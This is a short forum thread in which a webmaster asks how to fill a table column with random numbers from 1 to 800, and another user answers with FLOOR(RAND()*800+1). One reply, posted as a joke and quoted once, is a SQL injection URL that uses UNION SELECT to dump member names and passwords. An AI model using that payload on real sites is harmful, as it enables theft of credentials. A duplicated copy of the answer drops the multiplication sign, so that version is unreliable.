Any SQL gurus around? Need little help. - GoFuckYourself.com

RaiderCash_Dominik · 11-11-2010, 06:46 PM

I need to insert random number in a filed for each entry in the table.

So I have:

Update members set random_number = ( puts any random number from 1 thru 800 )

So for each member there's random number. Doesn't have to be unique.

Thanks.

cocainer · 11-11-2010, 07:04 PM

Code:

http://yoursite.com/index.php?id=-1+union+select+1,2,3,group_concat(name,0x3a,password),5,6,7+from+tbl_members

woj · 11-11-2010, 07:07 PM

use FLOOR(RAND()*800+1)?

RaiderCash_Dominik · 11-11-2010, 07:17 PM

Quote:

Originally Posted by cocainer

Code:

http://yoursite.com/index.php?id=-1+union+select+1,2,3,group_concat(name,0x3a,password),5,6,7+from+tbl_members

dude..

RaiderCash_Dominik · 11-11-2010, 07:18 PM

Quote:

Originally Posted by woj

use FLOOR(RAND()*800+1)?

thanks.. will give it a try

11-11-2010, 06:46 PM	#1
RaiderCash_Dominik Confirmed User Industry Role: Join Date: Jan 2010 Posts: 1,145	Any SQL gurus around? Need little help. I need to insert random number in a filed for each entry in the table. So I have: Update members set random_number = ( puts any random number from 1 thru 800 ) So for each member there's random number. Doesn't have to be unique. Thanks.

11-11-2010, 07:04 PM	#2
cocainer So Fucking Banned Join Date: Jun 2010 Posts: 164	Code: http://yoursite.com/index.php?id=-1+union+select+1,2,3,group_concat(name,0x3a,password),5,6,7+from+tbl_members

11-11-2010, 07:07 PM	#3
woj <&(©¿©)&> Industry Role: Join Date: Jul 2002 Location: Chicago Posts: 47,882	use FLOOR(RAND()800+1)? __________________ Custom Software Development, email: woj#at#wojfun#.#com to discuss details or skype: wojl2000 or gchat: wojfun or telegram: wojl2000* Affiliate program tools: Hosted Galleries Manager Banner Manager Video Manager Wordpress Affiliate Plugin Pic/Movie of the Day Fansign Generator Zip Manager